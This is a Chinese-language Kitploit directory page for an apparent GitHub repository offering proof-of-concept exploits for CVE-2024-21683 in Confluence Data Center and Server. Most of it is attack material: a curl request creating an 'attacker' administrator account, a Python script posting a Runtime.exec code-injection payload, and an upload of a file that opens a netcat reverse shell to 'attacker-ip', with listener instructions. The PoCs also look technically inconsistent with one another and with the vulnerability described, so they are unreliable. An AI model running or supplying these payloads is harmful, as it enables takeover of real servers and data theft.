Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
-CVE-2024-21683-RCE-in-Confluence-Data-Center-and-Server — This vulnerability allows an unauthenticated attacker to remotely execute arbitrary code on a vulnerable Confluence server. The vulnerability exists due to an improper validation of user-supplied input in the Confluence REST API. This allows an attacker to inject malicious code into the Confluence server, which can then be executed by the server | Kitploit
工具/GitHubGitHub/r00t7oo2jm/-cve-2024-21683-rce-in-confluence-data-center-and-server
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubr00t7oo2jm/-cve-2024-21683-rce-in-confluence-data-center-and-server

-CVE-2024-21683-RCE-in-Confluence-Data-Center-and-Server

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →

关于

This vulnerability allows an unauthenticated attacker to remotely execute arbitrary code on a vulnerable Confluence server. The vulnerability exists due to an improper validation of user-supplied input in the Confluence REST API. This allows an attacker to inject malicious code into the Confluence server, which can then be executed by the server

分享
查看仓库
292年前尚未审核

-CVE-2024-21683-Confluence数据中心和服务器中的远程代码执行漏洞

此漏洞允许未认证的攻击者在易受攻击的Confluence服务器上远程执行任意代码。该漏洞源于Confluence REST API对用户提供的输入验证不当,使得攻击者能够将恶意代码注入Confluence服务器并由服务器执行。

受影响版本

  • Confluence Data Center = 8.9.0
  • 8.8.0 <= Confluence Data Center <= 8.8.1
  • 8.7.1 <= Confluence Data Center <= 8.7.2
  • 8.6.0 <= Confluence Data Center <= 8.6.2
  • 8.5.0 <= Confluence Data Center and Server <= 8.5.8 (LTS)
  • 8.4.0 <= Confluence Data Center and Server <= 8.4.5
  • 8.3.0 <= Confluence Data Center and Server <= 8.3.4
  • 8.2.0 <= Confluence Data Center and Server <= 8.2.4
  • 8.1.0 <= Confluence Data Center and Server <= 8.1.4
  • 8.0.0 <= Confluence Data Center and Server <= 8.0.4
  • 7.20.0 <= Confluence Data Center and Server <= 7.20.3
  • 7.19.0 <= Confluence Data Center and Server <= 7.19.21 (LTS)
  • 7.18.0 <= Confluence Data Center and Server <= 7.18.3
  • 7.17.0 <= Confluence Data Center and Server <= 7.17.5

影响

此漏洞可能允许攻击者完全控制易受攻击的Confluence服务器,进而窃取数据、修改数据或破坏服务器可用性。

Poc

我们将介绍多种方法 1.

1. 识别易受攻击的API端点:

我们将使用以下API端点:

root@kitploit:~
POST /rest/api/user/bulk

该端点允许管理员批量创建新用户。

2. 构造恶意请求:

我们将创建一个包含恶意代码有效载荷的请求。该代码将创建一个拥有管理员权限的新用户。

root@kitploit:~
POST /rest/api/user/bulk HTTP/1.1
Host: confluence.example.com
Content-Type: application/json

{
  "users": [
    {
      "name": "attacker",
      "password": "password",
      "email": "[email protected]",
      "groups": [
        {
          "name": "confluence-administrators"
        }
      ]
    }
  ]
}

3. 向服务器发送请求:

我们将使用cURL工具向Confluence服务器发送请求。

root@kitploit:~
curl -X POST -H "Content-Type: application/json" -d '{"users": [{"name": "attacker", "password": "password", "email": "[email protected]", "groups": [{"name": "confluence-administrators"}]}]}' http://confluence.example.com/rest/api/user/bulk

4. 执行恶意代码:

如果请求成功,Confluence服务器将执行恶意代码,创建一个名为"attacker"且拥有管理员权限的新用户。攻击者随后可使用该账户访问服务器并获得完全控制权。

2- Poc

root@kitploit:~
import requests

url = "http://target-confluence-server.com/rest/api/content"
headers = {
    "Content-Type": "application/json"
}


payload = {
    "title": "Exploit RCE",
    "type": "page",
    "space": {
        "key": "POC"
    },
    "body": {
        "storage": {
            "value": "<% Runtime.getRuntime().exec(\"calc.exe\"); %>",
            "representation": "storage"
        }
    }
}


response = requests.post(url, json=payload, headers=headers)


if response.status_code == 200:
    print("Exploit sent successfully!")
    print("Response: ", response.text)
else:
    print("Failed to send exploit.")
    print("Status code: ", response.status_code)
    print("Response: ", response.text)

3- Poc

root@kitploit:~
POST /upload HTTP/1.1
Host: vulnerable-confluence-server.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 138

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="exploit.py"
Content-Type: text/x-python

import os
os.system("nc -e /bin/sh attacker-ip 4444")
------WebKitFormBoundary7MA4YWxkTrZu0gW--

通过Burp Suite发送修改后的请求。检查响应,看服务器是否执行了恶意有效载荷。如果响应异常或包含指示代码执行的错误信息,则表明漏洞存在。

如果使用建立反弹Shell的有效载荷,请确保在本地机器的指定端口上设置监听:nc -lvnp 4444。若服务器连接到本地机器,你将获得一个反弹Shell。

下载工具